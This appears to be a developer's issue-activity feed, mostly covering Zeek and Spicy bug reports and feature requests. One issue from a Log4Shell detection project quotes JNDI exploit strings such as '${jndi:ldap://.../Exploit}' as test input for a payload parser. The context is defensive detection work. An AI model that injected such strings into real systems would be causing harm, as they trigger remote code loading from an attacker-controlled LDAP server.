yacin

`&backend` equivalent for basic types

1

I had a recent use case where I needed to update the state of a boolean flag across the cluster to change behavior on workers and proxies. I initially was...

optional<bytes> differs between struct and tuple only as a parameter

3

This came up when trying to convert a struct to a tuple in Spicy to pass to Zeek. This same construct worked with `uint64` but failed with a cryptic error...

time_ns cannot use variable as an argument

2

See minimal example below. If a literal is used (commenting out first two lines of `Bar` and uncommenting the last line) it compiles fine. ```ruby module Foo; import spicy; public...

Add `unknown` enum to `spicy::Protocol`

3

Zeek's ports have four possible protocols: `tcp`, `udp`, `icmp`, and a catch-all `unknown`. Spicy only has the first three (and `Undef`). To improve interop with Zeek, it would be nice...

``` $ zeek --version zeek version 5.1.0-dev.497 $ zeek -e 'print cat_sep(";", set(0.0.0.0/24), "foo");' fatal error in : Val::CONVERTER (table/string) ({0.0.0.0/24}) zsh: abort zeek -e 'print cat_sep(";", set(0.0.0.0/24), "foo");' $...

Parses wrong payload IP

2

Things get hairy when there are multiple IP addresses _and_ the exploit URI doesn't have `//`. e.g.: ``` print(parse_payload("https://18.x.x.x:443/${jndi:ldap:/10.0.16.1:1389/Exploit}")); print(parse_payload("https://18.x.x.x:443/${jndi:ldap://10.0.16.1:1389/Exploit}")); ... ~/code/cve-2021-44228 ben-jgj* ¡ zeek scripts [uri=10.0.16.1:1389/Exploit, stem=10.0.16.1:1389, host=10.0.16.1, port_=1389]...

Improve test case coverage, primarily focused on: 1. Detecting exploit strings, and 2. payload parsing Internally we have logs of hits from various sensors. It would be worth extracting those...

It's possible this is intended behavior. If so, my apologies, and feel free to close the issue. The input tensor I am using can be [downloaded as a pickle file](http://nadji.us/test-S.pkl)....

Map `Undef` `spicy::Protocol` to `unknown` Zeek protocol

3

Zeek's ports have four possible protocols: `tcp`, `udp`, `icmp`, and a catch-all `unknown`. Spicy only has the first three (and `Undef`). To improve interop with Zeek, it would be nice...

Add `min` and `max` functions for container types

3

Makes sense for `vector`s and `set`s, but I suppose we would need a `vector_*` and `set_*` functions. I also suppose it would need to return `any`. The use case I...